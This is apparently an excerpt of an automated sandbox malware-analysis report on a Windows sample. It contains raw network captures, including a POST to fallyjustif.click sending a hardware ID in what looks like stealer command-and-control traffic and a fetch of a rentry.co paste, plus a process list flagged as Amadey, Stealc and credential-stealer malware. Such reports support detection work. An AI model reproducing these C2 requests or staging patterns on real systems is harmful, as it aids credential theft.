2025-01-03 14:22:32 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 74 35 63 75 48 2f 54 75 59 45 43 4f 6c 6b 61 43 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 66 61 66 33 39 32 35 63 35 34 32 34 33 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: t5cuH/TuYECOlkaC.1Context: e0faf3925c542435
2025-01-03 14:22:32 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-03 14:22:32 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 74 35 63 75 48 2f 54 75 59 45 43 4f 6c 6b 61 43 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 66 61 66 33 39 32 35 63 35 34 32 34 33 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 51 67 34 62 35 38 63 53 30 56 55 49 44 6e 74 37 30 6a 74 4a 77 33 52 6f 42 41 57 50 58 6b 44 58 37 55 5a 6d 62 6f 64 76 54 4d 78 72 37 66 78 5a 4b 69 4f 57 66 37 54 33 35 6e 79 79 68 4f 6a 43 50 4b 4f 5a 36 77 65 52 54 2b 68 2f 4f 39 77 42 31 2b 76 34 56 67 63 38 31 2b 4b 70 39 62 61 69 54 69 42 54 50 67 72 70 62 45 4c 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: t5cuH/TuYECOlkaC.2Context: e0faf3925c542435<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaQg4b58cS0VUIDnt70jtJw3RoBAWPXkDX7UZmbodvTMxr7fxZKiOWf7T35nyyhOjCPKOZ6weRT+h/O9wB1+v4Vgc81+Kp9baiTiBTPgrpbELf
2025-01-03 14:22:32 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 74 35 63 75 48 2f 54 75 59 45 43 4f 6c 6b 61 43 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 66 61 66 33 39 32 35 63 35 34 32 34 33 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: t5cuH/TuYECOlkaC.3Context: e0faf3925c542435<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-03 14:22:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-03 14:22:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 51 56 74 33 31 50 4c 78 55 65 44 4d 5a 58 52 70 66 6e 67 67 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sQVt31PLxUeDMZXRpfnggQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50042	188.114.96.3	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:33 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: fallyjustif.click
2025-01-03 14:22:33 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4d 65 48 64 79 34 2d 2d 70 6c 31 76 73 30 31 26 6a 3d 26 68 77 69 64 3d 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 45 33 42 30 34 38 32 37 41 45 35 34 39 37 37 30 Data Ascii: act=get_message&ver=4.0&lid=MeHdy4--pl1vs01&j=&hwid=8035F73EF50AEF55E3B04827AE549770
2025-01-03 14:22:33 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=90ab54caie5gr3ki13h95g50k3; expires=Tue, 29 Apr 2025 08:09:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VOHy9CowfdANr4h12Ab7KMOu9DL80HvgyPzdBBnx7fYHvVA3ttUub57Q2Kkb5vlkZzABbAwsLNNaY8u98qCFwMgLglehHhTCdmBR8kQTACyda42VcWqjqXSatOWBYtoTxj2yRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a440f88e8c65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1945&rtt_var=760&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=985&delivery_rate=1501285&cwnd=204&unsent_bytes=0&cid=56c2ef6cede725de&ts=467&x=0"
2025-01-03 14:22:33 UTC	126	IN	Data Raw: 37 38 0d 0a 2f 62 5a 69 70 73 71 49 6d 4c 76 5a 71 57 34 69 59 65 48 79 6c 75 7a 51 66 68 58 77 6c 71 32 32 6a 38 42 4c 6e 37 35 70 30 62 57 6d 7a 55 44 54 36 4c 4b 36 30 36 33 64 48 6c 46 62 76 64 33 4b 77 36 49 62 65 34 54 6b 31 4a 6a 73 72 78 65 77 32 41 79 2b 77 4a 6a 42 42 35 4f 57 70 2b 72 61 72 6f 74 43 41 41 65 56 30 4b 7a 65 2f 46 78 77 30 71 79 64 79 39 49 3d 0d 0a Data Ascii: 78/bZipsqImLvZqW4iYeHyluzQfhXwlq22j8BLn75p0bWmzUDT6LK6063dHlFbvd3Kw6Ibe4Tk1Jjsrxew2Ay+wJjBB5OWp+rarotCAAeV0Kze/Fxw0qydy9I=
2025-01-03 14:22:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50043	104.26.3.16	443	7424	C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:33 UTC	196	OUT	GET /feouewe5/raw HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: rentry.co
2025-01-03 14:22:34 UTC	921	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vAZIM8X5oKZm2H6YfsDXc8U4MppeytU1MbFW%2B8DWWp4txQ6Rd7Xu5MyntZw%2FSyMfOTDZcy1oaOp%2FUsi1l6ypQ2T1poPiorgP4cNfXDv%2Bdf6eJAcmdY3J%2BIMCWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a446e84d7279-EWR server-timing: cfL4;desc="?proto=TCP&rtt=7644&min_rtt=1932&rtt_var=4302&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2815&recv_bytes=810&delivery_rate=1511387&cwnd=220&unsent_bytes=0&cid=9b676cf6124e2078&ts=285&x=0"
2025-01-03 14:22:34 UTC	448	IN	Data Raw: 31 36 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 57 68 61 74 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 77 68 61 74 22 20 2f 3e 0a 0a 20 20 20 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 69 73 20 61 20 6d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 Data Ascii: 161b<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>What</title><link rel="canonical" href="https://rentry.co/what" /> <meta name="description" content="Rentry.co is a markdown paste service with preview, custom urls and e
2025-01-03 14:22:34 UTC	1369	IN	Data Raw: 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 20 53 65 72 76 69 63 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 Data Ascii: <meta name="twitter:description" content="Markdown paste service with preview, custom urls and editing." /><meta name="twitter:title" content="Rentry.co - Markdown Paste Service" /><meta name="twitter:site" content="@rentry_co" /><meta name="twitter:i
2025-01-03 14:22:34 UTC	1369	IN	Data Raw: 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 3d 20 6e 75 6c 6c 20 26 26 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 20 64 61 72 6b 29 22 29 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 Data Ascii: etItem("dark-mode") === null && window.matchMedia("(prefers-color-scheme: dark)").matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'r
2025-01-03 14:22:34 UTC	1369	IN	Data Raw: 74 68 69 73 20 61 63 63 65 73 73 20 63 6f 64 65 20 61 73 20 61 20 68 65 61 64 65 72 20 69 6e 20 79 6f 75 72 20 72 65 71 75 65 73 74 2c 20 77 68 69 63 68 20 77 69 6c 6c 20 67 69 76 65 20 79 6f 75 20 61 63 63 65 73 73 20 74 6f 20 61 6e 79 20 70 6f 73 74 27 73 20 2f 72 61 77 2f 20 70 61 67 65 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 54 68 69 73 20 73 79 73 74 65 6d 20 77 61 73 20 61 20 6e 65 63 65 73 73 61 72 79 20 61 64 64 69 74 69 6f 6e 20 64 75 65 20 74 6f 20 65 78 74 65 6e 73 69 76 65 20 6d 69 73 75 73 65 20 62 79 20 62 61 64 20 61 63 74 6f 72 73 20 70 6f 73 74 69 6e 67 20 6d 61 6c 77 61 72 65 20 73 6e 69 70 70 65 74 73 20 61 6e 64 20 67 65 74 74 69 6e 67 20 75 73 20 69 6e 74 6f 20 61 20 6c 6f 74 20 6f 66 20 Data Ascii: this access code as a header in your request, which will give you access to any post's /raw/ page.</p> <p>This system was a necessary addition due to extensive misuse by bad actors posting malware snippets and getting us into a lot of
2025-01-03 14:22:34 UTC	1112	IN	Data Raw: 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 Data Ascii: /script><script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script> </div><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.cre
2025-01-03 14:22:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50050	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:23:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 72 54 74 64 58 66 34 33 45 75 67 55 49 59 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 33 62 31 65 36 35 61 63 35 32 36 64 66 32 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: drTtdXf43EugUIYd.1Context: 33b1e65ac526df21
2025-01-03 14:23:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-03 14:23:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 64 72 54 74 64 58 66 34 33 45 75 67 55 49 59 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 33 62 31 65 36 35 61 63 35 32 36 64 66 32 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 51 67 34 62 35 38 63 53 30 56 55 49 44 6e 74 37 30 6a 74 4a 77 33 52 6f 42 41 57 50 58 6b 44 58 37 55 5a 6d 62 6f 64 76 54 4d 78 72 37 66 78 5a 4b 69 4f 57 66 37 54 33 35 6e 79 79 68 4f 6a 43 50 4b 4f 5a 36 77 65 52 54 2b 68 2f 4f 39 77 42 31 2b 76 34 56 67 63 38 31 2b 4b 70 39 62 61 69 54 69 42 54 50 67 72 70 62 45 4c 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: drTtdXf43EugUIYd.2Context: 33b1e65ac526df21<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaQg4b58cS0VUIDnt70jtJw3RoBAWPXkDX7UZmbodvTMxr7fxZKiOWf7T35nyyhOjCPKOZ6weRT+h/O9wB1+v4Vgc81+Kp9baiTiBTPgrpbELf
2025-01-03 14:23:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 72 54 74 64 58 66 34 33 45 75 67 55 49 59 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 33 62 31 65 36 35 61 63 35 32 36 64 66 32 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: drTtdXf43EugUIYd.3Context: 33b1e65ac526df21<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-03 14:23:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-03 14:23:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 73 38 35 6c 52 47 39 74 6b 47 36 33 36 44 78 31 38 57 53 6e 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Js85lRG9tkG636Dx18WSnw.0Payload parsing failed.

Target ID:	0
Start time:	09:21:03
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\same.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\same.exe"
Imagebase:	0x3e0000
File size:	6'932'992 bytes
MD5 hash:	8FEE55294B6CE710BA882421A1E282A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:21:03
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe
Imagebase:	0x2a0000
File size:	5'264'384 bytes
MD5 hash:	9B6914FF1D91D65E66EC864964314B91
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:21:04
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe
Imagebase:	0x360000
File size:	3'527'168 bytes
MD5 hash:	81771DD2B9318ACB04B8F1377C88F23A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:21:04
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe
Imagebase:	0x650000
File size:	3'183'616 bytes
MD5 hash:	C10552E6670650E273E4D8688D186E30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:21:06
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x180000
File size:	3'183'616 bytes
MD5 hash:	C10552E6670650E273E4D8688D186E30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:21:10
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe
Imagebase:	0x60000
File size:	3'133'440 bytes
MD5 hash:	46B9970ED9E0B2F9EA3DAA8D0BAFD525
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000003.2317467498.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000003.2317983248.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000003.2317652928.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:21:15
Start date:	03/01/2025
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff611420000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:21:22
Start date:	03/01/2025
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\"
Imagebase:	0x7ff611420000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:21:27
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe"
Imagebase:	0xd0000
File size:	5'196'288 bytes
MD5 hash:	D9B9048BF135F96587B038A1AAF7FD9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2840537714.00000000000D1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
